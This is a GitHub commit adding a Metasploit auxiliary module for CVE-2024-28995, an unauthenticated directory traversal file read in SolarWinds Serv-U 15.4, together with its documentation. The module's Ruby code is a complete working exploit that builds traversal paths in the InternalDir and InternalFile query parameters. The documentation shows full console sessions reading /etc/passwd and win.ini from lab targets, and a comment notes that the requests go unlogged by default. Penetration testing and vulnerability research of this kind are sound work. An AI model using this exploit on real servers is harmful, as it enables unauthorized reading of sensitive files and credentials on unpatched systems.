Skip to content

Commit bae70a4

Browse files
committed
Land rapid7#19255, Add SolarWinds Serv-U aux module
This module exploits an unauthenticated file read vulnerability, due to directory traversal, affecting SolarWinds Serv-U FTP Server 15.4, Serv-U Gateway 15.4, and Serv-U MFT Server 15.4. All versions prior to the vendor supplied hotfix "15.4.2 Hotfix 2" (version 15.4.2.157) are affected.
2 parents 5f68d93 + 06c0c73 commit bae70a4

File tree

2 files changed

+359
-0
lines changed

2 files changed

+359
-0
lines changed
Lines changed: 201 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,201 @@
1+
## Vulnerable Application
2+
This module exploits an unauthenticated file read vulnerability, due to directory traversal, affecting
3+
SolarWinds Serv-U FTP Server 15.4, Serv-U Gateway 15.4, and Serv-U MFT Server 15.4. All versions prior to
4+
the vendor supplied hotfix "15.4.2 Hotfix 2" (version 15.4.2.157) are affected.
5+
6+
For a technical analysis of the vulnerability, read our [Rapid7 Analysis](https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis).
7+
8+
## Testing
9+
Follow the below instruction for either Linux or Windows.
10+
* Download a vulnerable version of SolarWinds Serv-U MFT Server, for example version `15.4.2.126`.
11+
* Install the Serv-U Server by running the installer binary and accepting the defaults for every setting.
12+
* Log into the Serv-U Server Management Console, and create a new Serv-U Domain. Follow the instruction and
13+
accept the default values during setup. The newly created domain will expose a HTTP and HTTPS service bound to all
14+
interfaces. These are the `RHOST`, `RPORT`, and `SSL` options we set in the auxiliary module.
15+
16+
To read a file we set the `TARGETFILE` option to the absolute path of the file we want to read. For example on Linux
17+
we can set the target file to `/etc/passwd`, or on Windows to `C:\\Windows\win.ini`.
18+
19+
Note: When using `msfconsole` you will need to escape a backslash (`\ `) with a double backslash (`\\`).
20+
21+
On Windows, by default, the install directory is `C:\ProgramData\RhinoSoft\Serv-U\ ` and the `Serv-U.exe` service runs
22+
as the `NT AUTHORITY\NETWORK SERVICE` user.
23+
24+
On Linux, by default, the install directory is `/usr/local/Serv-U/` and the `Serv-U` service runs as `root`.
25+
The file `/usr/local/Serv-U/Shares/Serv-U.FileShares` is a SQLite database containing the absolute path of all files
26+
shared by Serv-U, and can be downloaded and used for target file discovery. This database file is not accessible on a
27+
Windows target, as it is locked by the `Serv-U.exe` process and cannot be opened a second time.
28+
29+
## Verification Steps
30+
31+
1. Start msfconsole
32+
2. `use auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995`
33+
3. `set RHOST <TARGET_IP_ADDRESS>`
34+
4. `set STORE_LOOT false`
35+
5. `set TARGETFILE /etc/passwd`
36+
6. `check`
37+
7. `run`
38+
39+
## Options
40+
41+
### STORE_LOOT
42+
Whether the read file's contents should be stored as loot in the Metasploit database. If set to false, the files
43+
content will be displayed in the console. (default: true).
44+
45+
### TARGETURI
46+
The base URI path to the web application (default: /).
47+
48+
### TARGETFILE
49+
The absolute path of a target file to read (default: /etc/passwd).
50+
51+
### PATH_TRAVERSAL_COUNT
52+
The number of double dot (..) path segments needed to traverse to the root folder. For a default install of Serv-U
53+
on both Linux and Windows, the value for this is 4. (default: 4).
54+
55+
## Scenarios
56+
57+
### A vulnerable Linux target
58+
59+
```
60+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RHOST 192.168.86.43
61+
RHOST => 192.168.86.43
62+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RPORT 443
63+
RPORT => 443
64+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set SSL true
65+
[!] Changing the SSL option's value may require changing RPORT!
66+
SSL => true
67+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set STORE_LOOT false
68+
STORE_LOOT => false
69+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set TARGETFILE /etc/passwd
70+
TARGETFILE => /etc/passwd
71+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > show options
72+
73+
Module options (auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995):
74+
75+
Name Current Setting Required Description
76+
---- --------------- -------- -----------
77+
PATH_TRAVERSAL_COUNT 4 yes The number of double dot (..) path segments needed to traverse to the root folder.
78+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
79+
RHOSTS 192.168.86.43 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
80+
RPORT 443 yes The target port (TCP)
81+
SSL true no Negotiate SSL/TLS for outgoing connections
82+
STORE_LOOT false no Store the target file as loot
83+
TARGETFILE /etc/passwd yes The full path of a target file to read.
84+
TARGETURI / yes The base URI path to the web application
85+
VHOST no HTTP server virtual host
86+
87+
88+
View the full module info with the info, or info -d command.
89+
90+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > check
91+
[+] 192.168.86.43:443 - The target is vulnerable. SolarWinds Serv-U version 15.4.2.126 (Linux 64-bit; Version: 6.5.0-15-generic)
92+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > run
93+
[*] Running module against 192.168.86.43
94+
95+
[*] Running automatic check ("set AutoCheck false" to disable)
96+
[+] The target is vulnerable. SolarWinds Serv-U version 15.4.2.126 (Linux 64-bit; Version: 6.5.0-15-generic)
97+
[*] Reading file /etc/passwd
98+
root:x:0:0:root:/root:/bin/bash
99+
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
100+
bin:x:2:2:bin:/bin:/usr/sbin/nologin
101+
sys:x:3:3:sys:/dev:/usr/sbin/nologin
102+
sync:x:4:65534:sync:/bin:/bin/sync
103+
games:x:5:60:games:/usr/games:/usr/sbin/nologin
104+
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
105+
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
106+
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
107+
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
108+
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
109+
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
110+
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
111+
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
112+
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
113+
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
114+
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
115+
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
116+
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
117+
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
118+
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
119+
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
120+
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
121+
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
122+
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
123+
uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin
124+
systemd-oom:x:108:116:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin
125+
tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin
126+
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
127+
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
128+
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
129+
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
130+
avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
131+
cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
132+
rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin
133+
whoopsie:x:117:124::/nonexistent:/bin/false
134+
sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
135+
speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
136+
nm-openvpn:x:120:126:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
137+
saned:x:121:128::/var/lib/saned:/usr/sbin/nologin
138+
colord:x:122:129:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
139+
geoclue:x:123:130::/var/lib/geoclue:/usr/sbin/nologin
140+
pulse:x:124:131:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
141+
gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false
142+
hplip:x:126:7:HPLIP system user,,,:/run/hplip:/bin/false
143+
gdm:x:127:133:Gnome Display Manager:/var/lib/gdm3:/bin/false
144+
mysql:x:128:136:MySQL Server,,,:/nonexistent:/bin/false
145+
fwupd-refresh:x:129:137:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
146+
xrdp:x:130:138::/run/xrdp:/usr/sbin/nologin
147+
148+
[*] Auxiliary module execution completed
149+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) >
150+
```
151+
152+
### A vulnerable Windows target
153+
154+
```
155+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RHOST 192.168.86.68
156+
RHOST => 192.168.86.68
157+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RPORT 80
158+
RPORT => 80
159+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set SSL false
160+
[!] Changing the SSL option's value may require changing RPORT!
161+
SSL => false
162+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set TARGETFILE c:\\\\Windows\\win.ini
163+
TARGETFILE => c:\\Windows\win.ini
164+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > show options
165+
166+
Module options (auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995):
167+
168+
Name Current Setting Required Description
169+
---- --------------- -------- -----------
170+
PATH_TRAVERSAL_COUNT 4 yes The number of double dot (..) path segments needed to traverse to the root folder.
171+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
172+
RHOSTS 192.168.86.68 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
173+
RPORT 80 yes The target port (TCP)
174+
SSL false no Negotiate SSL/TLS for outgoing connections
175+
STORE_LOOT false no Store the target file as loot
176+
TARGETFILE c:\\Windows\win.ini yes The full path of a target file to read.
177+
TARGETURI / yes The base URI path to the web application
178+
VHOST no HTTP server virtual host
179+
180+
181+
View the full module info with the info, or info -d command.
182+
183+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > check
184+
[+] 192.168.86.68:80 - The target is vulnerable. SolarWinds Serv-U version 15.4.2.126 (Windows Server 2012 64-bit; Version: 6.2.9200)
185+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > run
186+
[*] Running module against 192.168.86.68
187+
188+
[*] Running automatic check ("set AutoCheck false" to disable)
189+
[+] The target is vulnerable. SolarWinds Serv-U version 15.4.2.126 (Windows Server 2012 64-bit; Version: 6.2.9200)
190+
[*] Reading file c:\\Windows\win.ini
191+
; for 16-bit app support
192+
[fonts]
193+
[extensions]
194+
[mci extensions]
195+
[files]
196+
[Mail]
197+
MAPI=1
198+
199+
[*] Auxiliary module execution completed
200+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) >
201+
```
Lines changed: 158 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,158 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
prepend Msf::Exploit::Remote::AutoCheck
9+
10+
def initialize(info = {})
11+
super(
12+
update_info(
13+
info,
14+
'Name' => 'SolarWinds Serv-U Unauthenticated Arbitrary File Read',
15+
'Description' => %q{
16+
This module exploits an unauthenticated file read vulnerability, due to directory traversal, affecting
17+
SolarWinds Serv-U FTP Server 15.4, Serv-U Gateway 15.4, and Serv-U MFT Server 15.4. All versions prior to
18+
the vendor supplied hotfix "15.4.2 Hotfix 2" (version 15.4.2.157) are affected.
19+
},
20+
'License' => MSF_LICENSE,
21+
'Author' => [
22+
'sfewer-r7', # MSF Module & Rapid7 Analysis
23+
'Hussein Daher' # Original finder
24+
],
25+
'References' => [
26+
['CVE', '2024-28995'],
27+
['URL', 'https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28995'],
28+
['URL', 'https://attackerkb.com/topics/2k7UrkHyl3/cve-2024-28995/rapid7-analysis']
29+
],
30+
'DefaultOptions' => {
31+
'RPORT' => 443,
32+
'SSL' => true
33+
},
34+
'Notes' => {
35+
'Stability' => [CRASH_SAFE],
36+
# There are no side effects I could determine. By default there is no logging enabled by Serv-U, and in
37+
# testing I was not able to enable logging such that any of the exploits requests were actually logged. If
38+
# a reverse proxy/gateway is in place that will likely be able to log attacker requests, but that is not a
39+
# default setup.
40+
'SideEffects' => [],
41+
'Reliability' => []
42+
}
43+
)
44+
)
45+
46+
register_options(
47+
[
48+
OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true]),
49+
OptString.new('TARGETURI', [true, 'The base URI path to the web application', '/']),
50+
OptString.new('TARGETFILE', [true, 'The full path of a target file to read.', '/etc/passwd']),
51+
OptInt.new('PATH_TRAVERSAL_COUNT', [true, 'The number of double dot (..) path segments needed to traverse to the root folder.', 4]),
52+
]
53+
)
54+
end
55+
56+
def check
57+
# We try to leverage the vulnerability and read the file `Serv-U-StartupLog.txt` from the default location in
58+
# a default install on both Linux and Windows. If successful, we can pull out the Serv-U version number and the
59+
# OS version. By default, the location of the `Serv-U-StartupLog.txt` file is
60+
# `C:\ProgramData\RhinoSoft\Serv-U\Serv-U-StartupLog.txt` on Windows, and `/usr/local/Serv-U/Serv-U-StartupLog.txt`
61+
# on Linux.
62+
default_paths = [
63+
'\\..',
64+
'/../../../../ProgramData/RhinoSoft/Serv-U'
65+
]
66+
67+
default_paths.each do |default_path|
68+
res = send_request_cgi(
69+
'method' => 'GET',
70+
'uri' => normalize_uri(datastore['TARGETURI']),
71+
'vars_get' => {
72+
'InternalDir' => default_path,
73+
'InternalFile' => 'Serv-U-StartupLog.txt'
74+
}
75+
)
76+
77+
return Msf::Exploit::CheckCode::Unknown('Connection failed') unless res
78+
79+
next unless res.code == 200
80+
81+
version = res.body.match(/Serv-U.+Version.+\(([\d+.]{1,})\)/)
82+
83+
next unless version
84+
85+
os = res.body.match(/Operating System:\s+(.+)/)
86+
87+
return Msf::Exploit::CheckCode::Vulnerable("SolarWinds Serv-U version #{version[1]} (#{os.nil? ? 'Unknown OS' : os[1]})")
88+
end
89+
90+
Msf::Exploit::CheckCode::Safe
91+
end
92+
93+
def run
94+
if datastore['TARGETFILE'].start_with? '/'
95+
native_path_sep = '/'
96+
target_path_sep = '\\'
97+
target_filepath = datastore['TARGETFILE']
98+
elsif datastore['TARGETFILE'][1, 3] == ':\\\\'
99+
native_path_sep = '\\'
100+
target_path_sep = '/'
101+
target_filepath = datastore['TARGETFILE'][3..]
102+
else
103+
fail_with(Failure::BadConfig, 'Ensure the TARGETFILE path starts with / for a Linux target, and C:\\\\ for a Windows target.')
104+
end
105+
106+
# On Windows, the default install directory is: C:\ProgramData\RhinoSoft\Serv-U\
107+
# On Linux, the default install directory is: /usr/local/Serv-U/
108+
# The Serv-U service, will read files from the Client directory, so /usr/local/Serv-U/Client/ on Linux
109+
# and C:\ProgramData\RhinoSoft\Serv-U\Client\ on Windows.
110+
# Therefore to leverage the directory traversal and navigate to the root folder on either platform will require
111+
# 4 double dot path segments.
112+
# We expose PATH_TRAVERSAL_COUNT to the user in case they are targeting a non default install location.
113+
path_traversal = "#{target_path_sep}.." * datastore['PATH_TRAVERSAL_COUNT']
114+
115+
last_sep_pos = target_filepath.rindex(native_path_sep)
116+
117+
fail_with(Failure::BadConfig, 'Could not locate a path separator in the TARGETFILE path') unless last_sep_pos
118+
119+
if last_sep_pos == 0
120+
internal_dir = ''
121+
else
122+
internal_dir = target_filepath[0..last_sep_pos - 1].gsub(native_path_sep, target_path_sep)
123+
end
124+
125+
internal_file = target_filepath[last_sep_pos + 1..]
126+
127+
print_status("Reading file #{datastore['TARGETFILE']}")
128+
129+
res = send_request_cgi(
130+
'method' => 'GET',
131+
'uri' => normalize_uri(datastore['TARGETURI']),
132+
'vars_get' => {
133+
'InternalDir' => path_traversal << internal_dir,
134+
'InternalFile' => internal_file
135+
}
136+
)
137+
138+
fail_with(Failure::UnexpectedReply, 'Connection failed') unless res
139+
140+
fail_with(Failure::UnexpectedReply, "Unexpected response from server. HTTP code #{res.code}.") unless res.code == 200
141+
142+
if datastore['STORE_LOOT']
143+
print_status('Storing the file data to loot...')
144+
145+
store_loot(
146+
internal_file,
147+
res.body.ascii_only? ? 'text/plain' : 'application/octet-stream',
148+
datastore['RHOST'],
149+
res.body,
150+
datastore['TARGETFILE'],
151+
'File read from SolarWinds Serv-U server'
152+
)
153+
else
154+
print_line(res.body)
155+
end
156+
end
157+
158+
end

0 commit comments

Comments
 (0)